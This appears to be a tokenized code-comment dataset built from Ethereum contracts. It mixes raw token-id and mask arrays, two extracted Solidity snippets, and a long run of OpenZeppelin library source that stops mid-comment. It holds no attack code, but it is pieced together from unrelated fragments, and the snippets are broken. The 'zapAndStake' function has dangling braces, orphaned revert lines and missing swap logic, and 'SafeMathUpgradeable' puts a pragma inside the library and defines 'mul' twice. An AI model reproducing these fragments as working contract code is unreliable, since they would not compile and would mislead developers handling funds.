389,
9297,
691,
774,
23601,
24899,
280,
16066,
1769,
203,
565,
289,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x6BdC9Fd91E6859eE0D53D5167983E270553251a5/sources/HygrosLiquidityPool.sol | Swap half of the ETH for $Echoes | function zapAndStake() public payable {
require(msg.value >= 0.1 ether, "Minimum 0.1 ETH required");
uint256 halfEth = msg.value / 2;
uint256 beforeSwapBalance = echoesToken.balanceOf(address(this));
uint[] memory amounts;
amounts = _amounts;
revert(concatenate("Swapping fail: ",reason));
}
uint256 afterSwapBalance = echoesToken.balanceOf(address(this));
uint256 tokenAmount = afterSwapBalance - beforeSwapBalance;
uint256 ethEquivalent = getEthEquivalent(tokenAmount);
uint256 allowance = echoesToken.allowance(address(this), address(uniswapRouter));
require(allowance >= amounts[1], "Allowance is not sufficient");
lpAmount = _lpAmount;
revert(concatenate("Add liquidity fail: ",reason));
| 2,631,235 | [
1,
12521,
8816,
434,
326,
512,
2455,
364,
271,
19704,
281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
11419,
1876,
510,
911,
1435,
1071,
8843,
429,
288,
203,
3639,
2583,
12,
3576,
18,
1132,
1545,
374,
18,
21,
225,
2437,
16,
315,
13042,
374,
18,
21,
512,
2455,
1931,
8863,
203,
203,
3639,
2254,
5034,
8816,
41,
451,
273,
1234,
18,
1132,
342,
576,
31,
203,
203,
3639,
2254,
5034,
1865,
12521,
13937,
273,
3376,
281,
1345,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
203,
3639,
2254,
8526,
3778,
30980,
31,
203,
5411,
30980,
273,
389,
8949,
87,
31,
203,
5411,
15226,
12,
16426,
275,
340,
2932,
12521,
1382,
2321,
30,
3104,
10579,
10019,
203,
3639,
289,
203,
203,
3639,
2254,
5034,
1839,
12521,
13937,
273,
3376,
281,
1345,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
2254,
5034,
1147,
6275,
273,
1839,
12521,
13937,
300,
1865,
12521,
13937,
31,
203,
3639,
2254,
5034,
13750,
22606,
273,
4774,
451,
22606,
12,
2316,
6275,
1769,
203,
203,
3639,
2254,
5034,
1699,
1359,
273,
3376,
281,
1345,
18,
5965,
1359,
12,
2867,
12,
2211,
3631,
1758,
12,
318,
291,
91,
438,
8259,
10019,
203,
3639,
2583,
12,
5965,
1359,
1545,
30980,
63,
21,
6487,
315,
7009,
1359,
353,
486,
18662,
8863,
203,
540,
203,
5411,
12423,
6275,
273,
389,
9953,
6275,
31,
203,
5411,
15226,
12,
16426,
275,
340,
2932,
986,
4501,
372,
24237,
2321,
30,
3104,
10579,
10019,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/56/0xFFe998e124983D56782cdcC8BC7107FD8fFE2900/sources/MemeFarmToken.sol | https:github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/math/SafeMathUpgradeable.sol* @dev Wrappers over Solidity's arithmetic operations with added overflow checks. Arithmetic operations in Solidity wrap on overflow. This can easily result in bugs, because programmers usually assume that an overflow raises an error, which is the standard behavior in high level programming languages. `SafeMath` restores this intuition by reverting the transaction when an operation overflows. Using this library instead of the unchecked operations eliminates an entire class of bugs, so it's recommended to use it always./ | library SafeMathUpgradeable {
pragma solidity >=0.6.0 <0.8.0;
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
| 11,295,362 | [
1,
4528,
30,
6662,
18,
832,
19,
3678,
62,
881,
84,
292,
267,
19,
3190,
94,
881,
84,
292,
267,
17,
16351,
87,
17,
15097,
429,
19,
10721,
19,
7525,
19,
16351,
87,
19,
15949,
19,
9890,
10477,
10784,
429,
18,
18281,
225,
4266,
10422,
1879,
348,
7953,
560,
1807,
30828,
5295,
598,
3096,
9391,
4271,
18,
27443,
5295,
316,
348,
7953,
560,
2193,
603,
9391,
18,
1220,
848,
17997,
563,
316,
22398,
16,
2724,
5402,
81,
414,
11234,
6750,
716,
392,
9391,
14183,
392,
555,
16,
1492,
353,
326,
4529,
6885,
316,
3551,
1801,
5402,
11987,
8191,
18,
1375,
9890,
10477,
68,
3127,
3485,
333,
509,
89,
608,
635,
15226,
310,
326,
2492,
1347,
392,
1674,
9391,
87,
18,
11637,
333,
5313,
3560,
434,
326,
22893,
5295,
19229,
4174,
392,
7278,
667,
434,
22398,
16,
1427,
518,
1807,
14553,
358,
999,
518,
3712,
18,
19,
2,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0
] | [
1,
12083,
14060,
10477,
10784,
429,
288,
203,
203,
683,
9454,
18035,
560,
1545,
20,
18,
26,
18,
20,
411,
20,
18,
28,
18,
20,
31,
203,
565,
445,
527,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
276,
273,
279,
397,
324,
31,
203,
3639,
2583,
12,
71,
1545,
279,
16,
315,
9890,
10477,
30,
2719,
9391,
8863,
203,
203,
3639,
327,
276,
31,
203,
565,
289,
203,
203,
565,
445,
720,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
720,
12,
69,
16,
324,
16,
315,
9890,
10477,
30,
720,
25693,
9391,
8863,
203,
565,
289,
203,
203,
565,
445,
720,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
16,
533,
3778,
9324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
70,
1648,
279,
16,
9324,
1769,
203,
3639,
2254,
5034,
276,
273,
279,
300,
324,
31,
203,
203,
3639,
327,
276,
31,
203,
565,
289,
203,
203,
565,
445,
14064,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
309,
261,
69,
422,
374,
13,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
203,
3639,
2254,
5034,
276,
273,
279,
380,
324,
31,
203,
3639,
2583,
12,
71,
342,
279,
422,
324,
16,
315,
9890,
10477,
30,
23066,
9391,
8863,
203,
203,
3639,
327,
276,
31,
203,
565,
289,
203,
2
] |
/**
*Submitted for verification at Etherscan.io on 2022-02-21
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity 0.8.11;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
* @dev Handles the receipt of a single ERC1155 token type. This function is
* called at the end of a `safeTransferFrom` after the balance has been updated.
*
* NOTE: To accept the transfer, this must return
* `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* (i.e. 0xf23a6e61, or its own function selector).
*
* @param operator The address which initiated the transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param id The ID of the token being transferred
* @param value The amount of tokens being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
* @dev Handles the receipt of a multiple ERC1155 token types. This function
* is called at the end of a `safeBatchTransferFrom` after the balances have
* been updated.
*
* NOTE: To accept the transfer(s), this must return
* `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* (i.e. 0xbc197c81, or its own function selector).
*
* @param operator The address which initiated the batch transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param ids An array containing ids of each token being transferred (order and length must match values array)
* @param values An array containing amounts of each token being transferred (order and length must match ids array)
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
